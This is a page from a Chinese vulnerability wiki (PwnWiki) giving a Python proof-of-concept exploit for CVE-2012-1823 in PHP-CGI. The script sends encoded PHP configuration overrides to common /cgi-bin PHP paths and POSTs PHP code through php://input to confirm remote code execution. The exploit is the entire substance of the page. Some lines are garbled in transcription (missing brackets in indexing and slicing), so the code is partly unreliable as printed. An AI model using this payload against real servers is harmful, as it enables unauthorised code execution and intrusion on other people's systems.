Loading
0

CVE-2012-1823 PHP before 5.3.12 and 5.4.x before 5.4.2任意代码执行漏洞

PWNWIK.COM

,

POC

#!/usr/bin/env python
# coding=utf-8
 
import urllib2
import sys
 
def request_url(url='', data=None, header={}):
    page_content = ''
    request = urllib2.Request(url, data, header)
 
    try:
        response = urllib2.urlopen(request)
        page_content = response.read()
    except Exception, e:
        print '* Error: '+str(e)
 
    return page_content
 
 
if __name__=="__main__":
    if len(sys.argv) != 2:
        print '''
        python this.py www.baidu.com
        python this.py www.baidu.com:8080
        '''
        sys.exit()
 
    target_url = sys.argv1
    if target_url.endswith('/'):
        target_url = target_url:-1
 
    if target_url.startswith('http://') or target_url.startswith('https://'):
        pass
    else:
        target_url = 'http://' + target_url
 
 
    paths = '/cgi-bin/php', '/cgi-bin/php5', '/cgi-bin/php-cgi', '/cgi-bin/php.cgi'
    payload = '?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E'
    evalcode = '''<?php echo 'Content-type: text/html\n\n';echo 'Here_is_apache_php_remote_code_exec';exit(1);?>'''
 
    fake_header = {'User-Agent' : 'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25'}
    data =1
    for path in paths:
        attackurl = target_url+path+payload
        html = request_url(attackurl, evalcode, fake_header)
        print "* Response is: ", html
        if 'Here_is_apache_php_remote_code_exec' in html:
            print "* Finded tag ...this site is vuln"
            print "* URL is: ", attackurl
            break

免费、自由、人人可编辑的漏洞库--PwnWiki.com